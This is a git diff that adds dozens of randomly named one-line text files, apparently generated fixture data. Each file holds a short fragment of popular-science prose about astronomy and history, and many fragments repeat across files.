diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_bzuahzlsigtdtyguugabyefs.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_bzuahzlsigtdtyguugabyefs.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_bzuahzlsigtdtyguugabyefs.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_eitlsuoaseofkyu.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_eitlsuoaseofkyu.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_eitlsuoaseofkyu.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ezdyxicvck.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ezdyxicvck.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ezdyxicvck.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ghnansqngqwysbujpkgem.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ghnansqngqwysbujpkgem.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ghnansqngqwysbujpkgem.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_gkoegxpiluviuzrbps.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_gkoegxpiluviuzrbps.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_gkoegxpiluviuzrbps.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_jfnlquycneo.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_jfnlquycneo.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_jfnlquycneo.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_lmcywnknuum.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_lmcywnknuum.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_lmcywnknuum.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_mpeavjwxrv.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_mpeavjwxrv.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_mpeavjwxrv.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ojmijhfzqpfdiogesptuc.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ojmijhfzqpfdiogesptuc.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ojmijhfzqpfdiogesptuc.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ppkcynksjxnxhphperhr.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ppkcynksjxnxhphperhr.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ppkcynksjxnxhphperhr.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_qcqdfxmqdfpfcmnekt.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_qcqdfxmqdfpfcmnekt.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_qcqdfxmqdfpfcmnekt.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ryzshimfcva.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ryzshimfcva.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_ryzshimfcva.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_sajbwbasb.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_sajbwbasb.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_sajbwbasb.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_trhhtgss.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_trhhtgss.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_trhhtgss.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_xbytwmhojjeghblzxg.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_xbytwmhojjeghblzxg.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_xbytwmhojjeghblzxg.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_xsmtdzfobdtippkwtiann.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_xsmtdzfobdtippkwtiann.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_xsmtdzfobdtippkwtiann.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_zbbxsdxadtvcevffkwdak.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_zbbxsdxadtvcevffkwdak.txt
new file mode 100644
index 0000000..b64f070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/file_zbbxsdxadtvcevffkwdak.txt
@@ -0,0 +1 @@
+When I sat down to have my breakfast beside my plough, I heard sudden bangs, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/flfguxsfyn.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/flfguxsfyn.txt
new file mode 100644
index 0000000..5192d3f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/flfguxsfyn.txt
@@ -0,0 +1 @@
+The planets were imagined to go around the Earth affixed to perfect transparent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/gooxxshkkz.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/gooxxshkkz.txt
new file mode 100644
index 0000000..73d3941
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/gooxxshkkz.txt
@@ -0,0 +1 @@
+vast nuclear motorboat in space. Orion seems entirely practical from an engineering point
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/hbpukbtpgwkcdi.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/hbpukbtpgwkcdi.txt
new file mode 100644
index 0000000..2f70db8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/hbpukbtpgwkcdi.txt
@@ -0,0 +1 @@
+as well as some consequences which followed from them in contradiction to the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/iqawknzmqnaehmlrmwkh.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/iqawknzmqnaehmlrmwkh.txt
new file mode 100644
index 0000000..0b674b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/iqawknzmqnaehmlrmwkh.txt
@@ -0,0 +1 @@
+detected. It does not give off visible light, although it seems to give off radio waves. This is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/iuqbkmbbmtrdcqitcooqro.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/iuqbkmbbmtrdcqitcooqro.txt
new file mode 100644
index 0000000..9a4cc3a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/iuqbkmbbmtrdcqitcooqro.txt
@@ -0,0 +1 @@
+in charge of photosynthesis - the conversion of sunlight, water and carbon dioxide into
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jobhkefgpioa.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jobhkefgpioa.txt
new file mode 100644
index 0000000..1e17ccb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jobhkefgpioa.txt
@@ -0,0 +1 @@
+will be shifted to the shorter visible wavelengths. You become compressed in the direction
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jqgmqpoicudiagtuxocn.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jqgmqpoicudiagtuxocn.txt
new file mode 100644
index 0000000..85ae6a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jqgmqpoicudiagtuxocn.txt
@@ -0,0 +1 @@
+printing presses then. Books were expensive; every one of them was copied by hand. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jqrufgadzctnxarbzshlnxyw.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jqrufgadzctnxarbzshlnxyw.txt
new file mode 100644
index 0000000..e6e7861
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jqrufgadzctnxarbzshlnxyw.txt
@@ -0,0 +1 @@
+detect the Sun, the Earth and other distant objects. If astrophysics developed, the existence of stars could
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jtkxraaqzcqkiwtqeedd.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jtkxraaqzcqkiwtqeedd.txt
new file mode 100644
index 0000000..b8e69fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/jtkxraaqzcqkiwtqeedd.txt
@@ -0,0 +1 @@
+One day there was a storm, with much lightning and thunder and rain. The little
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/oijxcrosbqpehsbu.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/oijxcrosbqpehsbu.txt
new file mode 100644
index 0000000..d50e519
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/oijxcrosbqpehsbu.txt
@@ -0,0 +1 @@
+But these ideas do not rescue the notion that the Viking lander experiments indicate
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/oqgicwhaavy.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/oqgicwhaavy.txt
new file mode 100644
index 0000000..4009dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/oqgicwhaavy.txt
@@ -0,0 +1 @@
+. And, that no region might be without its own forms of animate life, the stars and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/sbcjjdusrrtnpq.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/sbcjjdusrrtnpq.txt
new file mode 100644
index 0000000..570c519
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/sbcjjdusrrtnpq.txt
@@ -0,0 +1 @@
+The conversion of hydrogen into helium in the center of the Sun not only accounts
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/tsoycreqvvur.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/tsoycreqvvur.txt
new file mode 100644
index 0000000..03838cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/tsoycreqvvur.txt
@@ -0,0 +1 @@
+There was very little to see, if there had been anyone around to do the seeing. Then little
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/wfvthbzutgz.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/wfvthbzutgz.txt
new file mode 100644
index 0000000..ee5a437
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/wfvthbzutgz.txt
@@ -0,0 +1 @@
+We also know that r is 3 or more, since at least 3 faces meet at a given vertex in a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/zbnevxtaaeqhekwf.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/zbnevxtaaeqhekwf.txt
new file mode 100644
index 0000000..3a398c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/zbnevxtaaeqhekwf.txt
@@ -0,0 +1 @@
+eat us. And good ones who put up the skin to keep the flame away. We must find some way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/zmuosvhstzueryzxwafrxv.txt b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/zmuosvhstzueryzxwafrxv.txt
new file mode 100644
index 0000000..e66ef96
--- /dev/null
+++ b/big_zip/big-zip-files/folder_knqqchrayk/folder_mntjxdmdzt/folder_xctntzbwbo/folder_yyknfjbzas/zmuosvhstzueryzxwafrxv.txt
@@ -0,0 +1 @@
+available in their respective societies. The secrecy of weapons development, carried to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_eghtwwhq.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_eghtwwhq.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_eghtwwhq.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_ehwxqpjuvndcfswpjo.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_ehwxqpjuvndcfswpjo.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_ehwxqpjuvndcfswpjo.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_frxlvooyillvfyjo.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_frxlvooyillvfyjo.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_frxlvooyillvfyjo.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_gwvrwjpamgrq.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_gwvrwjpamgrq.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_gwvrwjpamgrq.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_hipdilchlcdqbwuknwhg.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_hipdilchlcdqbwuknwhg.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_hipdilchlcdqbwuknwhg.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_hqoqarbwmhwh.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_hqoqarbwmhwh.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_hqoqarbwmhwh.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_ijrefsklpeeaaqzok.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_ijrefsklpeeaaqzok.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_ijrefsklpeeaaqzok.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_lrzqcixyr.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_lrzqcixyr.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_lrzqcixyr.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_qmifctbyhthqfv.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_qmifctbyhthqfv.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_qmifctbyhthqfv.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_qpylwvnmlsdir.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_qpylwvnmlsdir.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_qpylwvnmlsdir.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_qzhconwlurydwodt.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_qzhconwlurydwodt.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_qzhconwlurydwodt.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_sdfvlleajddfnmbikaevhs.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_sdfvlleajddfnmbikaevhs.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_sdfvlleajddfnmbikaevhs.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_tzovwlnsyqcrwjhpq.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_tzovwlnsyqcrwjhpq.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_tzovwlnsyqcrwjhpq.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_udywnmytawusgsew.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_udywnmytawusgsew.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_udywnmytawusgsew.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_uhzsykqfximdineotk.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_uhzsykqfximdineotk.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_uhzsykqfximdineotk.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_vuvenmyhikvfvisg.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_vuvenmyhikvfvisg.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_vuvenmyhikvfvisg.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_xsyemnvfhecjalskz.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_xsyemnvfhecjalskz.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_xsyemnvfhecjalskz.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/file_ysyrkpnmah.txt b/big_zip/big-zip-files/folder_kvinourcjb/file_ysyrkpnmah.txt
new file mode 100644
index 0000000..a081dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/file_ysyrkpnmah.txt
@@ -0,0 +1 @@
+It has the sound of epic myth, and rightly. But it is simply a description of cosmic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ajuipjtsze.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ajuipjtsze.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ajuipjtsze.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
